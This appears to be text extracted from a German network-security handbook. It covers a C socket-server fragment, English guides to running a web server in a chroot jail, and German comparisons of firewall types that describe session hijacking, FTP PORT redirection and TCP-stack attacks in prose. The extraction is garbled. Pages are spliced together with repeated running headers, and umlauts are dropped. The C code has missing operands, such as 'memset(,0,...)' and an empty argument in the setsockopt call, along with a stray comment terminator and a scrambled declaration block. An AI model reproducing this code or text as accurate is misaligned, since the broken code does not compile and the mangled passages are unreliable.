(%d):\n", lu) ; fflush(stdout) ; hexdump_err(buffer, lu) ; } } } _exit(0) ;
} /* * This function setups the listen port, and forks a child for each * connection */ void wait_conn(void) { struct sockaddr_in addr; int sock, newfd; int on ; if( (sock = socket(AF_INET,SOCK_STREAM,0)) < 0 ) { perror("socket problem"); exit(1); } memset(,0,sizeof(addr)); addr.sin_port = htons(listen_port); addr.sin_family = AF_INET; on = 1 ; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *) , sizeof(on)) < 0) { perror("REUSEADDR problem") ; } if (bind(sock, (struct sockaddr *), sizeof(addr)) ) { perror("bind problem"); exit(1); } if( listen(sock, 5) < 0 ) { perror("listen problem"); exit(1); } signal(SIGCLD, SIG_IGN) ; while (1) { if ((newfd=accept(sock, 0, 0) ) < 0) { perror("accept"); continue ; exit(1);*/ } if (fork() == 0) { close(sock) ; do_child(newfd) ; } close(newfd) ; } }
/*
fprintf(stderr, " -V : Display usage and version.\n") ; fprintf(stderr, " -d : increase debug level.\n") ; fprintf(stderr, " -l : log\n") ; exit(exitcode) ; } int main(int argc, char **argv) { int c ; extern int optind ; extern char *optarg ; while ((c = getopt(argc, argv, "Vdl")) != EOF) { switch (c) { case 'V' : usage(0) ; break ; case 'd' : dflg++ ; break ; case 'l' : lflg++ ; break ; default : usage(1) ; } } wait_conn() ; return 0 ; } Als Vergleich mag der Abschnitt ber die Absicherung von PERL Skripten dienen: Kapitel PERL Sicherheit bei WWW-Servern....
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Before you start you have to decide if this is a do-able task. If your entire tree can live on one file system, then this may be for you. But if links and cgi-Skripts reach out across filesystems and nodes and people's home directories (in this 'automounted' or 'afs-ed' world), then this probably isn't your cup of tea. You have to know your web tree really well first. In particular, take a close look at your cgi-Skripts and all Skripts and utilities called by your cgi-Skripts before you start. We use the CERN http daemon, and our web site is served by an HP running 9.05 HP-UX and NIS (but it is not an NIS server). This information is necessarily HP-specific, but it should generalize. It took me a couple of afternoons of work to produce a working web tree. So these are the steps I followed to chroot a LIVE web tree. It wasn't as painful as I thought it would be, but it requires a bit of work if you want to provide a high level of functionality. In the following steps I have assumed: the web tree owner is: living in group: I have also assumed that the new web root is at:
Create a tree in a NEW web root and give it the appropriate ownership. If only one account edits files in the web tree, then your are set. If multiple user accounts update files, then presumably you could have a special group for web updating, and have people 'newgrp' to this group. Thus: chown -R www:webgroup /wtree chmod -R 755 /wtree (or 775 if 'webgroup' needs write permission) You might also choose to create some kind of a 'home' directory structure (see http://hoohoo.ncsa.uiuc.edu/docs/tutorials/chroot.html) **From this point you work as user 'www' Create the skeleton tree in the new web root. You will probably need: bin, etc, tmp, dev, lib You have to decide whether you are going to put sharable libraries in your web tree. I decided to NOT do this (though in the end I put one library there). If I was to do this all over again, I probably wouldn't have opted for only staticly-linked versions. At the time I was worried about 'duplicating' my file system in the web tree. If you decide to put sharable libraries in the tree, then you have to figure out which ones. This might not be easy! Anyway, you should copy a useful set of utilities to your /wtree/bin directory, and copy any necessary libraries to /wtree/lib or /wtree/usr/lib. Note: the 'useful set of utilities' is necessary if you use cgi Skripts in your web tree. Therefore which ones you need will depend on which utilities are referenced by your cgi-Skripts. If you do as I did and opt for staticly-linked versions, then the easiest thing is to get a bunch of GNU file utilities and compile them staticly, so that you don't need shared libraries. These utilities are available in these GNU files sets:
(bash, binutils, diffutils, find, gawk, grep, sed, textutils) Only install what you will use; for example, don't install 'df' unless you want to try to provide it with the 'mount table'. This is an example set of GNU utilities: bash du grep mv sort unexpand cat expand head nl split uniq cksum find join od sum wc comm fmt ln paste tac xargs cp fold locate pr tail csplit gawk ls rm touch cut mkdir rmdir tr
Copy all of these files into /wtree/bin I also compiled a staticly-linked version of perl (version 5). This took a few iterations, mostly because I dislike the 'Configure' Skript. So I installed perl in /wtree/bin/ and the Perl libraries in /wtree/lib/perl5/ In addition, 'date' and 'file' are useful. So I copied the HP versions of them, and took the shared library and dynamic loader that I needed for them. Thus on an HP system you need to copy /lib/libc.sl and /lib/dld.sl into /wtree/lib/ For 'file' you also need 'magic', which you should put in /wtree/etc It is also useful to create a symbolic link from bash to 'sh' and from gawk to 'awk' in /wtree/bin. Note: pretending that bash is 'sh' is quite functional; however on HP-UX the 'system()' C-function wants /bin/posix/sh. Trying to fool it with a link to bash won't work (I was compiling 'glimpse' for our web tree, and it uses lots of inane system() calls. So I was forced to copy /bin/posix/sh into /wtree/bin/posix/) PLEASE NOTE: place COPIES of files in the web tree, do not use hard links! Otherwise, why are you bothering to chroot the tree? Anyway, the web tree should be able to live on any disk... hard links can't! Make the /wtree/dev/null device file Copy any needed networking files into /wtree/etc; the following should do from your host's /etc/ tree. By all means, make these files as minimal as possible: hosts resolv.conf ## the DNS resolver file and maybe: nsswitch.conf ## Naming Server fall-over file; useful with NIS Now go and compile the daemon 'httpd' staticly. Also make staticly- linked versions of cgiparse and cgiutils. Copy all of these into /wtree/bin/ Make any additional directory structure that you will need in your web tree; for example: /wtree/icons /wtree/sounds /wtree/images /wtree/log
tree)
And of course create a directory for your cgi-bin tree, using whatever name you have specified in the http configuration file. Copy your prepared configuration file 'httpd.conf' into /wtree/etc/ (or whatever sub-directory you have designated for this purpose). Also prepare and copy any other httpd files that you will need; for example, 'passwd', 'group', 'protection' (and copy an appropriate .www_acl file into these directories as well). Make a chroot wrapper for your daemon, compile and install it, and update whatever Skript will be launching it from boot up. For example, if I call my wrapper 'httpd' and install it in /usr/local/bin, then from /etc/inittab the entry looks something like: blah:run_level:once:/usr/local/bin/httpd /wtree >>/tmp/httpd.log 2>&1 An example wrapper follows. The 'uMsg()' calls are just home-brewed function calls that output error messages. Substitute your own error messages: /** wrapper BEGINS **/ #include <stdio.h> #include <unistd.h> #include "uUtil.h" /* for uMsg() */ void { uid_t gid_t int char main( int argc, char *argv[] ) uid = your_web_user_uid_here; gid = your_web_user_gid_here; ierr = 1; *p;
if( argc != 2 ) { fprintf( stderr, "USAGE: %s WEB_ROOT\n", argv[0] ); fprintf( stderr, "WHERE: WEB_ROOT - is the root of the web tree\n" ); } else { p = argv[1]; if( chdir(p) ) { uMsg( U_FATAL, "chdir to %s failed: %S", p ); } else if( chroot(p) ) { uMsg( U_FATAL, "chroot to %s failed: %S", p ); } else if( setuid(uid) != 0 ) { uMsg( U_FATAL, "setuid failed: %S" ); } else if( setgid(gid) != 0 ) { uMsg( U_FATAL, "setuid failed: %S" ); }
else { execl( "/bin/httpd","httpd",(char *)0 ); uMsg( U_FATAL, "execl failed for httpd: %S" ); } } exit( ierr ); } /** wrapper ENDS **/ Now you have to install your existing html files into your new tree. If people have been using relative pathnames in their html files, then there won't be many difficulties. In my case I just copied all necessary trees into the new location (using korn-shell syntax): cd /old_web_tree for i in dir1 dir2 dir3 dir4 blahblahblah ; do cp -r $i /wtree/$i done You will have to correct any html files that have full pathnames in their links. You will also have to correct any cgi-Skripts or shell Skripts that have incorrect pathnames in them; for example: #!/usr/local/bin/perl Now go around and put out fires. NOTE: It is possible to write C-utilities that will remote-shell to a trusting host [using getservbyname() and rcmd()] to get some time-critical information that you want to have accessible from your web tree. (Well, people use web-trees for all kinds of purposes). The utility can screen options to ensure that only 'safe' requests are sent to the trusting host. This avoids the necessity of keeping a small UNIX passwd file in your web tree (but requires a small services file in /wtree/etc/ if you aren't running NIS). NOTE: It is useful to make a shell wrapper that you can use to debug Skript probems in your web tree. Using exactly the same wrapper as above, substitute the following in the execl() function: execl( "/bin/bash","bash", (char *)0 ); Note that it has to be setuid root. For example, if you call this chroot-ed shell: cr_shell, then on your web host, you can launch a chroot-ed shell to test Skripts (but do it in a sub-shell so that you don't destroy your environment): $ (export PATH=/bin; export HOME=/; /my/path/name/to/cr_shell /wtree )
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Denice Deatrich of CERN set his server up in a chroot environment. He wrote a step by step guide available here -------------------------------------------------------------------------------This is a non-trivial thing to setup, and it is unlikely to be necessary. We will provide only minimal support for setting up a chroot server, as we don't use this locally. -------------------------------------------------------------------------------Example Using the following directory tree: /www /www/etc /www/docs /www/logs /www/conf /www/home /www/home/blong /www/home/httpd /www/cgi-bin /www/icons /www/lib /www/bin Where /www will be the new root directory. Into /www/lib you will need to copy at least the shared c library (libc.so, libc.sa, libc.a, libc.sl, or ..., depending on the system). Other libraries may be necessary depending on the system and what other binaries you want to run. In /www/bin, you will need copies of sh, perl, tclsh, etc. If you have any gateways such as archie, uptime, date, finger, ph, copies of these programs will also have to be in in /www/bin. /www/docs is your document root, but in the srm.conf file, it will be set to /docs (which is the directory after the chroot command). /www/etc might need a copy of /etc/passwd and /etc/group. Make sure there are no passwords in this file (on most systems, this is the second field of the colon separated fields). Some systems require an entry for the uid of the user HTTPd will setuid to, so that entry would be the minimum for the passwd file (and group as well). If you intend to provide /~username/ URLs, you must have a valid directory entry as well, which must be under /www but without the /www part. Here is a sample /www/etc/passwd file: httpd:*:25:607:NCSA HTTPd Tech Support:/home/httpd:/bin/false blong:*:524:1:Brandon Long:/home/blong:/bin/false nobody:*:4294967294:4294967294::/: /www/conf will contain all of the configuration files for HTTPd, and
/www/cgi-bin, /www/logs, /www/icons contain what you would expect. All of the configuration parameters which point to an absolute directory must assume that /www = /
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Firewall Router
Strken q Hohe Geschwindigkeit durch Routing auf IP-Ebene q Billig in der Anschaffung q Anti spoofing Mechanismen q Spoofing von Broadcasts fr IPX, IP... q PROXY ARP Schwchen q Bieten keinen Schutz vor TCP Angriffen q Zuviele offene Ports > 1024 q Keine Kenntnis von Protokollen q Keine Zustandsinformationen ber Verbindungen q Keine Authentifizierung q Keine Cluster mglich q Hoher Wartungsaufwand in groen Netzwerken q Log-Server stets notwendig q Unflexibel, nur einseitig einsetzbar q Schwierig zu programmieren Als Firewall Router werden hufig Router mit Filtereigenschaften bezeichnet. Besser wre die Bezeichnung Paketfilter. Wenn man den Werbeaussagen der Hersteller glauben darf, dann sind deren Eigenschaften inzwischen recht umfangreich, sie beherrschen das Filtern nach IP - Nummern, Ports, Protokollen, bieten Schutz gegen spoofing und DoS-Angriffe, die auf den TCP/IP-Stack zielen, bieten NAT oder Masquerading an. Anscheinend gibt es kaum noch Unterschiede zu echten Firewalls. Weit gefehlt! In der Praxis reichen solche Filter nicht mehr aus, insbesondere beim Einsatz von komplexeren Protokollen, wie FTP, RPC, NFS, NIS, SMB, SQL u.s.w.. Den Firewall-Routern fehlen fast immer Kenntnisse ber die Protokollmechanismen und somit sind sie auch nicht in der Lage, die Inhalte von wichtigen Protokollen zu interpretieren So ist der Administrator gezwungen, fast alle Ports oberhalb der privilegierten Ports (> 1024) und evtl. auch einige unterhalb (111, RPC-Portmapper fr PDC oder RPC) freizuschalten. Dieses ermglicht dann direkte, vielfltige Angriffe auf Server hinter dem Firewall-Router, angefangen von DoS-Angriffen, bis hin zu Tricks, die ein wenig in die Protokollmechanismen eingreifen, z.B. FTP PORT-Umleitung auf einen Telnet-Zugang (Siehe PASV-Mechanismus). Firewall-Router besitzen keinerlei Statusinformationen ber die benutzten Ports, z.B. von welchem Rechner diese initiiert wurden, welche Protokolle zu den Ports gehren und warum (NFS, RPC). Fr viele Protokolle mssen Ports oberhalb von 1024 fr Zugriffe von auerhalb freigegeben werden, was zu unzhligen Sicherheitslchern fhrt. Es gibt zahlreiche Tricks, die Fehler in Betriebssystemen hinter dem Firewall-Router ausnutzen, um diesen durchtunneln zu knnen. Weiterhin besitzen diese Firewall-Router keine User-Authentifizierungsmechanismen.
Firewall-Router besitzen keinen vollstndigen TCP/IP-Stack. Sie sind nur in der Lage, auf IP-Ebene Pakete weiterzuleiten. Daher berprfen sie einige Dinge bei der Weiterleitung auf andere Netzwerkinterfaces nicht. Das sind z.B. IP-Fragmentierung, TCP-Prfsummen, Offsets bei Sequenznummern, Flags in IP- und TCP-Headern (Nheres siehe: Angriffsvarianten auf TCP/IP-Stacks). Die meisten der o.a. Angriffsvarianten auf einen Server hinter dem Firewall-Router werden nicht abgefangen. So haben sich einige Hersteller aus Grnden des Marketings kurz damit beholfen, indem sie die Bytefolge (Signatur) von bekannten Angriffen aufgezeichnet haben, und diese dann aus dem Datenstrom herausfiltern. Mit Werkzeugen, wie Ballista oder IPSEND, ist es einem Angreifer leicht mglich, Signaturen zu erzeugen, die noch nicht erkannt werden. Desweiteren sind Firewall-Router anfllig gegen spoofing-Angriffe von einem benachbarten Arbeitsplatzrechner, der einen session hijacking Angriff ausfhrt. Offiziell besitzen Firewall-Router Mechanismen gegen spoofing, sie knnen aber, da sie keine Statusinformationen ber Details einer Verbindung besitzen, spoofing - Angriffe nur zwischen der inneren und ueren Netzwerkadresse erkennen. Ein typischer Vertreter dieser Firewall-Router, der sich gut zu Studienzwecken eignet, ist z.B. LINUX. Fr die Kontrolle von greren Netzwerken eignet sich dieser Typ von Firewall-Router nicht mehr.
diesen Grnden haben fhrende Hersteller zustzlich zu den SPF-Filtern noch PROXY-Eigenschaften fr spezielle Dienste, also auch noch eigene TCP/IP-Stacks den Firewalls hinzufgen mssen. Aktiviert man aber alle Schutzmechanismen und nutzt viele PROXY-Eigenschaften, sowie Filter fr protokollspezifische Befehle (HTTP: PUT, GET, POST) und die Erkennung fr Angriffssignaturen, so bricht die Performance dieser Filter dramatisch ein. SPFs eignen sich aufgrund ihres Designs hervorragend, eine Programmiersprache hinzuzufgen, die somit nicht implementierte PROXY-Mechanismen fr neue Protokolle simulieren kann. Da auch kombinierte Protokolle aus TCP und UDP (NFS, NIS+, RPC...) hiermit kontrolliert werden knnen, entsteht so schnell der Eindruck von Sicherheit, wo effektiv keine ist. Beispiel aus dem Handbuch von Checkpoint: Instructions for adding Sybase SQL server support to FireWall-1: Sybase SQL uses TCP ports above 1024. The port used is defined in the configuration of the Sybase server. To configure FireWall-1 for use with Sybase SQL: 1. From the GUI, add a TCP service called Sybase SQL Server. Define this port as using the port defined in the SQL serverconfiguration. 2. Accept this service in the Rulebase. Instructions for adding Microsoft NetMeeting support to FireWall-1: .... Add TCP port 1503 in GUI. Es gibt keine Anzeichen bei der Installation eines SQL Dienstes bei der Firewall-1, da diese Firewall irgendwelche Kenntnisse darber hat, was sie schtzen soll, und wie sie es schtzen kann. Wer also beispielsweise einen SQL Server sicher betreiben will, der sollte sich den Original SQL-Proxy von ORACLE einmal genauer ansehen. Andernfalls drften die berraschungen gro sein. Die Zahl der offenen Ports reduziert sich gegenber derjenigen bei Firewall-Routern dramatisch, da nur noch diejenigen Ports geffnet werden, die auch wirklich gebraucht werden. Es mssen also nicht mehr pauschal alle Ports >1024 freigeschaltet werden. Es verbleiben aber noch einige Risiken, da es externen Hosts immer noch gestattet wird, auf interne Server oder Clients zuzugreifen. Es werden zwar laut Handbuch PROXY-Dienste hierfr angeboten, jedoch beschrnkt sich tatschlich die Funktion nur auf die Freischaltung der bentigten Ports. Es findet keinerlei inhaltliche berprfung statt. SPFs mangelt es oft an der wichtigen User-Authentifizierung. Diese verhindert, da z.B. User ohne Pawort - Anmeldung auf der Firewall eine Verbindung in das Internet ffnen knnen. Dies ist ein wirksamer Schutz gegen trojanische Pferde, die als Hintergrundprozesse vollautomatisch Verbindungen zu Servern im Internet aufbauen.
Proxy-Firewalls
Strken q Ausfhrliche Kenntnis ber Protokolle und Dienste q Umfangreiche Filtermglichkeiten q Schutz vor buffer overflows mglich q Spezielle Proxies lieferbar (SQL) q Fr unbekannte Protokolle generische Proxy Dienste verfgbar q Keine offenen Ports q Ausfhrliche LOG-Informationen q Ausfhrliche Zustandsinformationen ber alle Verbindungen q Vollstndiger Schutz vor TCP/IP Angriffen q Einfache Wartung und Installation q Schutz vor Viren q Schutz gegen feindliche Applets (Active-X, JAVA(Skript) q Generische Proxies nachrstbar (SOCKS) q Aufbau als dual homed proxy mglich (split DNS...) q Eigener TCP/IP-Stack
Schwchen q Relativ langsam q Proxy nur fr die wichtigsten Protokolle verfgbar q Generische Proxies vorhanden jedoch sind diese unsicher q Ausfhrliche Authentifizierung q Clustering schwer mglich q Keine eigene Programmiersprache mglich q Nicht fr Hispeed LANs geeignet q Teuer in Anschaffung und Unterhaltung PROXY-Firewalls sind grundstzlich in zwei Varianten zu unterteilen: circuit level proxy, was einem generischen Proxy nahekommt, und einem application level proxy, der aufgrund seiner Kenntnisse der Protokollmechanismen auch als dedicated proxy bezeichnet wird. Ihnen gemeinsam ist, da Anwendungsprogramme immer nur zum PROXY Kontakt aufnehmen. Fr einen User innerhalb eines geschtzen Netzwerkes scheinen alle Pakete ausschlielich vom PROXY zu stammen, daher auch die Bezeichnung PROXY (Stellvertreter). Als einfachen PROXY knnte man auch einen vllig ungesicherten UNIX-Server definieren, in den sich ein Anwender aus dem geschtzten Netzwerk via TELNET einloggt, um sich dann von diesem zu einem beliebigen Server im Internet weiter verbinden zu lassen. Damit dieser Vorgang automatisch ablaufen kann, werden verschiedene Mechanismen eingesetzt. Einer davon ist SOCKS. Beim Einsatz von SOCKS werden alle Daten von einem Client, der SOCKS untersttzen mu (Netscape), ber den PROXY, auf dem ein SOCKS-Dmon installiert sein mu, von und zu einem Internet-Server bertragen. SOCKS verfgt ber keinerlei Fhigkeit, in Pakete hinein zu schauen, er leitet sie nur weiter. Falls also der Client gegenber buffer overflows verletzbar ist, so ist er es stets auch hinter dem PROXY. Einzige Ausnahme sind Angriffe, die auf den TCP/IP-Stack zielen. Diese werden vom PROXY abgefangen. Es drfte klar sein, da bei dieser Konstruktion nicht von Sicherheit gesprochen werden kann. Im Grunde kann man auch einen E-Mail-Dmon oder auch einen DNS-Server als PROXY bezeichnen, sie werden auch als store-and-forward PROXY bezeichnet. Vorsicht bei dem Begriff PROXY ist immer angebracht. Der Kernel des Betriebssystems mu also fr die Weiterleitung der Pakete zwischen den Netzwerk - Interfaces sorgen, whrend der PROXY die Authentifizierung (telnet: login, SOCKS) bernimmt. Gelingt es dem Angreifer, die PROXY-Software durch einen DoS-Angriff stillzulegen, so ist der Weg in das innere Netzwerk offen, da der Kernel stets Datenpakete forwarded. Mit Hilfe von gespooften, source routing pakets gelingt es einem Angreifer dann, von auerhalb hosts im inneren Netzwerk zu erreichen. Unter dieser Sicherheitslcke leiden sehr viele Systeme - DoS dient hier nicht der Deaktivierung eines hosts, sondern eher der Reaktivierung unterdrckter Qualitten. Wenn also von PROXYs, wie z.B. SQUID, CERN-HTTPD oder WWWOFFLE die Rede ist, kann von Sicherheit also keine Rede sein. Wer eine S.u.S.E. LINUX Firewall mit SQUID als PROXY installiert hat, einen SUN SOLARIS host mit Netscape-PROXY betreibt, oder Windows 98/NT z.B. mit einem Microsoft Proxy betreibt, dessen Sicherheit liegt mit hoher Wahrscheinlichkeit vllig blank. Bei der gewhnlichen Standardinstallation bindet sich der PROXY an einen Port auf der internen Netzwerkkarte, und bergibt die weiterzuleitenden Informationen an den Kernel, der diese dann an die uere Netzwerkkarte weiterleitet. Hierzu ist forwarding notwendig. Korrekt wre der PROXY installiert, wenn er auch ohne forwarding die Daten transportieren wrde. Dies erfordert genaue Kenntnisse und Konfigurationsnderungen bei Host und PROXY. Es besteht zudem stets die Gefahr eines buffer overflows. SQUID, CERN-HTTPD gehren schon zu der Gattung der application level proxy, die genaue Kenntnisse ber das Protokoll besitzen. Genaugenommen sind es sogar intelligente Proxies, da sie ber spezielle Mechanismen des Caching von Files auf der lokalen Festplatte beherrschen. Im Falle des SQUID und Netscape-PROXY ist dieser sogar in der Lage, mit benachbarten Systemen Daten auszutauschen. Das macht sie uerst anfllig gegen DoS-Angriffe und buffer overflows. Bisher hat sich nur kein Angreifer dafr interessiert, da auf diesen Servern ohnehin frei zugngliche Informationen lagern. Deswegen sind auch keine Sicherheitsprobleme bekannt. Wer sich aber etwas genauer mit den Quellcodes beschftigt, der wird sehen, da hier viele Sicherheitsabfragen fehlen und Squid auch in groer Zahl Gebrauch von den Bibliotheken des Betriebssystems macht. Die Sicherheit von Squid und Netscape Proxy hngt auch entscheidend von der Qualitt des Servers ab, doch hierzu mehr
spter. Wenn also von PROXY-Firewalls die Rede ist, dann sind sicherlich nicht solche Konstruktionen gemeint. PROXY-Firewalls gehren zu den langsamsten Firewalls, aber auch zu den solidesten. Sie besitzen einen eigenen, vom Kernel unabhngigen, im allgemeinen solide programmierten TCP/IP-Stack und umfangreiche Filtermglichkeiten auf Anwendungsebene, sowie genaue Kenntnisse der Protokollmechanismen und Dienste. Sie besitzen keine derjenigen Schwchen, die Firewall-Router oder SPF fr Angreifer attraktiv machen. Trotzdem sind auch diese gewhnlich relativ einfach zu berwinden. Schwachpunkt sind die Arbeitsstationen bzw. Server in der DMZ hinter der Firewall. Aus praktischen Erwgungen knnen Anhnge an E-Mails und JAVA(Skript)/Active-X stets ungehindert die Firewall berwinden, nur in den wenigsten Fllen wird dies unterbunden. Angreifer konzentrieren sich daher immer auf diese Schwachstelle, da sie am einfachsten auszunutzen ist. Zu den typischen Vertretern der PROXY-Firewalls gehrt z.B. TIS Gauntlet. Das TIS FWTK unter LINUX oder BSD-UNIX dient der Anschauung, da es im Quellcode verffentlicht wurde. Das Toolkit bietet guten Schutz, aber es fehlt eine Untersttzung fr moderne Protokolle. Es existiert ein allgemein einsetzbarer PROXY, ein Schutz vor komplexeren Angriffen bietet dieser aber auch nicht.
Welches Firewall-Betriebssystem ?
Grundstzlich kann man Firewalls so unterteilen q Firewalls auf DOS-Basis mit Winsock (WinPkt-Treiber) Diese kann man als vllig veraltet und berholt ansehen. Sie leiden gewhnlich an fast allen DoS (Denial of Service) Krankheiten. q Firewalls auf DOS-Basis mit eigenem TCP/IP-Stack Meist sind diese veraltet, es gibt aber auch Hersteller, die diese weiterentwickelt haben und supporten. Sie besitzen keinerlei Schutz vor Angriffen auf application level, es mangelt an Kenntnissen ber Protokoll- Mechanismen und Diensten. In vielen Fllen sind DoS Angriffe auf den TCP/IP-Stack erfolgreich. q Firewalls auf Windows 95/98-Basis Diese leiden an allen DoS-Krankheiten, unter den auch Windows leidet, daher sind sie erfahrungsgem instabil. Es sind gravierende Fehlkonfigurationen mglich und schwer zu beheben. Sie bieten zumeist keinerlei Schutz gegen Angriffe auf application level. Das Angebot an PROXYs ist gut, es sind aber zumeist generische Proxies, die keinerlei Spezialkenntnisse ber die Dienste besitzen (SQL). Es fehlen oft Filter auf Anwendungsebene. q Firewalls auf Windows 95/98-Basis mit eigenem TCP/IP-Stack Diese knnen sehr gut geeignet sein, Arbeitsstationen im Netzwerk stabiler zu machen, und gegen Angriffe ber ISDN abzusichern. Oft besitzen diese guten Schutz gegen DoS-Angriffe und solche auf application level. Die Kenntnisse von Protokollen und Diensten sind umfangreich. q Firewalls auf NT-Basis ohne eigenen Stack Sie laufen erfahrungsgem stabil, leiden aber unter DoS-Angriffen auf den TCP/IP-Stack von NT, die noch recht hufig auftreten. Es sind gravierende Fehlkonfigurationen mglich, die sich aber unter Anleitung gut beheben lassen. Sie bieten zumeist keinerlei Schutz gegen Angriffe auf application level, Kenntnisse ber Protokollmechanismen sind eher selten (FTP). Das Angebot an PROXYs ist gut. q PROXY-Firewalls auf NT-Basis mit eigenem TCP/IP-Stack Diese laufen i.a. stabil und sind sehr zuverlssig, sind aber relativ teuer in Anschaffung und Support. Viele Firewalls, die auf Windows NT mit eigenem TCP/IP-Stack laufen, sind Portierungen von UNIX auf NT. Leider sind diese nicht so leistungsfhig, wie unter UNIX, obwohl die Software praktisch identisch ist. Der Grund liegt in dem effizienteren Memory-Konzept von UNIX und teilweise auch daran, da der IP-Stack (nicht der TCP-Stack) von UNIX mit genutzt wird. q Firewalls auf UNIX-Basis ohne eigenen Stack Sie laufen erfahrungsgem stabil und sind sicher. Fehlkonfigurationen treten hufig und fast nur bei LINUX-Firewalls auf, die nach Anleitungen von Distributoren aus dem Internet, oder aus Zeitschriften (Ct) aufgebaut wurden. Firewalls, die auf BSD-Systemen oder Solaris aufsetzen, besitzen oft eine hohe Qualitt und sind sehr sicher, auch gegen Bedienungsfehler. q Firewalls auf UNIX-Basis mit eigenem TCP/IP-Stack Diese Firewalls sind oft identisch mit denen auf NT-Basis ohne eigenen TCP/IP-Stack. Sie arbeiten unter UNIX schneller. q Firewalls mit eigenem Betriebssystem Viele dieser Firewalls benutzen FreeBSD (Borderware), BSDI (Borderware, Genua Wall), Linux (Watchguard, TIS FWTK, GNATwall). Hinter einigen kommerziellen Firewalls steckt UNIX, weil es, wenn man es auf die wesentlich Funktionen reduziert, auf eine Diskette pat. Zu erwhnen ist noch CISCO PIX, welche auf IOS luft, einer Eigenentwicklung von CISCO.
Da es viele Mischformen von Firewalls gibt, sollte man sich doch genauer informieren, welche der Eigenschaften den Anforderungen am meisten entgegenkommt.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Abhilfe schafft nur eine vollstndige Reassemblierung der TCP/IP-Pakete oder der Einsatz eines Proxy. Nachteil dieser Lsung ist ein enormer Einbruch in der Performance, der den Vorteil der SPF Firewalls vllig zunichte macht. Dies zeigt aber, da Firewalls keineswegs perfekt sind. Will man solchen Angriffen zuvorkommen, so ist man als Betreiber eines mission critical Systems auf die stndige Betreuung eines Experten angewiesen. Da von diesem Angriff nur spoofende Versionen existieren, knnen die Tter oft nicht aufgesprt werden.
oder die PERL Erweiterung Net::RAWIP unter FreeBSD eignen sich hervorragend, den TCP/IP-Stacks in den Betriebssystemen einmal auf den Zahn zu fhlen. Es wird sich dann unweigerlich zeigen, warum einige TCP/IP-Stacks fter mal ausfallen. Grund hierfr knnen aber auch defekte Netzwerkkarten sein, die verstmmelte Pakete erzeugen. Einige Betriebssysteme verkraften diese Pakete nicht und hngen sich auf.
die genau dieses verhindern sollen. Normale Betriebssysteme beherrschen evtl. noch die Differenzierung zwischen einigen ICMP-Codes, ohne jedoch darauf intelligent antworten zu knnen. Hierzu gehren beispielsweise NT und viele UNIX-Derivate. Firewalls, die auf dem TCP/IP-Stack dieser Betriebssysteme aufsetzen, sind immer in Gefahr, einem DoS-Angriff zum Opfer zu fallen. Das Abschalten von ICMP Source Quench ist nicht zu empfehlen, da z.B beim schnellen Auftreffen von Paketen auf eine langsame Leitung diese vllig berlastet wrde. Andererseits luft man mit ICMP Source Quench in Gefahr, Opfer eines DoS-Angriffs zu werden. In greren Netzwerken, wo Zuverlssigkeit an oberster Stelle steht, sollte man sich fr CISCO entscheiden, da "counter intelligence"-Strategien des Autausches von Statistiken zwischen Routern bedrfen. Hierfr hat CISCO ein eigenes Protokoll entwickelt, um eine Plausibilittskontrolle benachbarter Router zu ermglichen. Wir einer der Router von einem Angreifer in die Irre gefhrt, so fragt dieser nach, ob evtl. sein Nachbar ebenfalls Probleme mit der Performance hat. Ist dies nicht der Fall, so wird er den ICMP Source Quench nicht akzeptieren. Der Einsatz von CISCO PIX wird dann evtl. fr einige ISPs zu einem Mu.
Sequenznummern (SSN) und Inkrement (ISN) sind charakteristisch fr Betriebssysteme und Versionen, sie zeigen einem Angreifer, welche Angriffe, z.B. "buffer overflows", DoS oder andere, mit hoher Wahrscheinlichkeit direkt zum Erfolg fhren, und welche Fehler im Betriebssystem mit Sicherheit schon behoben worden sind. Nur wenige Hersteller von Betriebssystemen bzw. Firewalls bieten eine "randomisierung" der TCP-Sequenznummern an, was eine Vorausberechnung der Sequenznummern bzw. einen session hijacking attack vllig unmglich macht. Eine schnelle Firewall mit SPF-Architektur leitet Pakete ohne Vernderung der TCP-Sequnznummern weiter, da sie sich darauf verlt , da der TCP/IP-Stack des Ziel-Servers bei der Zusammensetzung der Pakete Fehler bemerkt. Die Vorausberechnung der Sequenznummern ist fr session hijacking, also der bernahme einer Verbindung nach erfolgter Authentifizierung unbedingt erforderlich, hierzu mu der Angreifer sich mglichst nahe an dem Ziel befinden. Schnelles Timing ist hier erforderlich. Daher funktioniert session hijacking einer bereits authentifizierten Verbindung zu einem Server hinter einer Firewall immer dann, wenn die Firewall selber die Sequenznummern nicht randomisiert. SPF's haben den Vorteil, schnell zu sein, leider geht das immer auf Kosten der Sicherheit. So lassen einige Firewalls vom Typ SPF inzwischen keine IP-fragments oder interlaced fragments mehr passieren, wenn eine Reassemblierung von IP-Paketen durchgefhrt wird. Es knnen aber die darin enthaltenen TCP Pakete, die z.B. fehlerhafte Prfsummen oder zu groe Offsets besitzen, immer noch Schaden auf dem Server hinter der Firewall anrichten. Die Argumentationsweise der Hersteller besagt, da die Firewall nicht alle Pakete wirklich prfen mu, da z.B. Pakete mit fehlerhafte Prfsummen (CRC) ja von dem Betriebssystem hinter der Firewall, z.B. einem NT-Server erkannt und erneut angefordert werden, wre da nicht der kleine Fehler im TCP/IP-Stack von NT 4.0 bis SP2 . (Siehe BUGTRAQ) Dieser reagiert auf ein speziell konstruiertes TCP-Paket nicht nur mit einer neuen Anforderung dieses fehlerhaften Pakets, sondern initiiert zudem noch eine zweite Verbindung von sich aus in das Internet, zu einer vom Angreifer zu bestimmenden IP - Nummer. Hier erwartet der NT-Server eine Antwort von auen ber die Firewall zurck, welche die Firewall auch passieren lt, da ja ein Verbindungswunsch von innen vorliegt. Und schon hat ein Angreifer direkten Zugriff auf den NT-Server. Zugegeben, dieser Angriff ist kompliziert und nur von wenigen Personen durchfhrbar, aber er funktioniert, und zwar direkt ber die Firewall hinweg. Zahlreiche Beispiele der TCP/IP-Stack-Angriffe auf NT-Server, die in BUGTRAQ verffentlicht wurden, funktionieren nachweislich auch durch diese Firewalls hindurch. Angesichts stark gestiegener CPU- und Memory-Bandbreiten sollten Firewalls mit eigenem TCP/IP-Stack und PROXY-Diensten stets bevorzugt werden. Man sollte sich daher immer gut berlegen, ob man eine Firewall einsetzt, die standardmig den 